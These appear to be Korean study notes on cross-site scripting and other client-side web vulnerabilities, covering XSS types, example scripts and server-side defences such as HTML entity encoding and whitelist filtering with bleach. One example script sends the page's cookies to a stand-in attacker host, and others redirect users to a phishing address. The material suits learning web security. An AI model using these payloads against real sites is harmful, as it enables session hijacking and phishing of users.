: 웹 페이지의 이용자를 대상으로 공격할 수 있는 취약점
ex) XSS
본인을 식별하기 위한 사용자 정보(쿠키에 저장된 세션 아이디)를 탈취
-> 사용자 권한을 얻기 OR 사용자의 브라우저에서 자바스크립트를 실행하여 사용자가 보낸 것처럼 요청을 전송
: 공격자의 입력값이 크로스 사이트의 자바스크립트 일부로 웹 브라우저에서 실행되는 취약점
: Redirect 기능을 악용
-> 피싱사이트로 접속을 유도 OR 다른 취약점을 연계하여 사용자를 공격
: 공격자가 생성한 버튼, 이미지와 같은 엘리먼트를 정상적인iframe 위에 겹쳐 올려 UI를 스푸핑
-> 사용자 의도와는 다른 작업을 수행하게 하는 취약점
웹 리소스에 악성 스크립트를 삽입
-> 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있게 되는 취약점
클라이언트 사이드 취약점 중 하나
클라이언트 + 서버 에서 일어나는 취약점
c.f.) 원래 약어는 CSS여야 하지만 스타일시트를 정의하는 언어인 CSS와 중복되어 XSS를 약어로 사용
입력한 데이터가 충분한 검증 과정이 이루어지지X
-> 악성 스크립트가 삽입될 수 있어야
-> 응답 데이터 출력 시 악성 스크립트가 웹 브라우저의 렌더링 과정에 성공적으로 포함되어야
특정 계정의 셰션 정보 탈취 가능
탈취한 계정으로 임의의 기능 수행 가능
SOP 보안 정책 등장으로 cross origin에서는 정보 읽기 힘들어짐
B) 우회하는 다양한 기술 소개됨
XSS 취약점에 대한 정보를 공유할 때 alert 또는 prompt와 같은 메시지 창을 실행하는 이유?
: XSS 취약점이 발생하였다는 점을 시각적으로 표현이 가능하기 때문
ex) 로그인 시 출력되는 "안녕하세요" 문구, 게시물, 댓글 등
이름 | 설명 |
---|---|
Stored XSS |
XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS |
Reflected XSS |
XSS에 사용되는 악성 스크립트가
URL에 삽입되고 서버의 응답에 담겨오는 XSS |
DOM-vased XSS |
XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS c.f.) Fragment는 서버 요청/응답에 포함되지X |
Universal XSS |
클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS |
<script>
// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie;
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>
<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>
<script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing";
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>
: 서버의 DB 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생하는 XSS
ex) 게시물과 댓글에 악성 스크립트를 포함해 업로드하는 방식
: 서버가 악성 스크립트가 담긴 요청을 출력할 때 발생
: URL 등 이용자의 요청에 의해 발생
ex) 게시판 서비스에서 작성된 게시물을 조회하기 위한 검색창에서 스크립트를 포함해 검색하는 방식
: 이용자가 게시물 검색하면 서버에서는 검색 결과 반환
: 일부 서비스에서는 검색 결과를 응답에 포함
-> 검색 문자열에 포함된 악성 스크립트 실행됨
: XSS를 유발할 수 있는 태그 삽입을 방지하기 위해 서버 단에서 검증하는 방법
: 허용해도 안전한 일부 태그, 속성을 제외한 모든 값을 필터링 하는 것
- 요청의 URI Query 값이나 POST Body 값만 필터링 하는 것XXX
- User-Agent, Referer와 같은 헤더도 모두 포함하여 사용자로부터 입력된 값에 모두 적용해야
ex) 게시글을 운영하는데 필요한 태그가 img, a 뿐이라면 img a를 제외한 나머지 모든 태그는 필터링해 없앰
# HTML Entity Encoding 예시
from jinja2 import utils
@app.route('/board/', methods=['GET', 'POST'])
def write():
...
if request.method == 'POST':
title = utils.escape(request.form.get('title'))
content = utils.escape(request.form.get('content'))
query = '...' % (...)
...
return result
# 화이트리스트 필터링 예시
import bleach # https://github.com/mozilla/bleach
@app.route('/board/', methods=['GET', 'POST'])
def write():
...
if request.method == 'POST':
ALLOW_TAGS = ['a', 'p', 'h1', 'h2', 'h3']
ALLOW_ATTRS = ['href']
title = bleach.clean(request.form.get('title'), ALLOW_TAGS, ALLOW_ATTRS)
content = bleach.clean(request.form.get('content'), ALLOW_TAGS, ALLOW_ATTRS)
query = '...' % (...)
...
return result
공격자가 세션 ID를 탈취해도 피해자와 IP주소가 달라 피해자의 세션을 사용하지 못하게 하는 장점
-> 과거에 널리 쓰임
최근에는 Mobile 환경의 사용자가 점점 많아지면서 WiFi를 주로 이용 + 사용자가 이용하는 WiFi가 바뀔 때마다 사용자의 IP주소는 매번 바뀜
-> 접속한 IP가 아닌 접속한 국가가 변경된 경우를 탐지하는 형태로 변형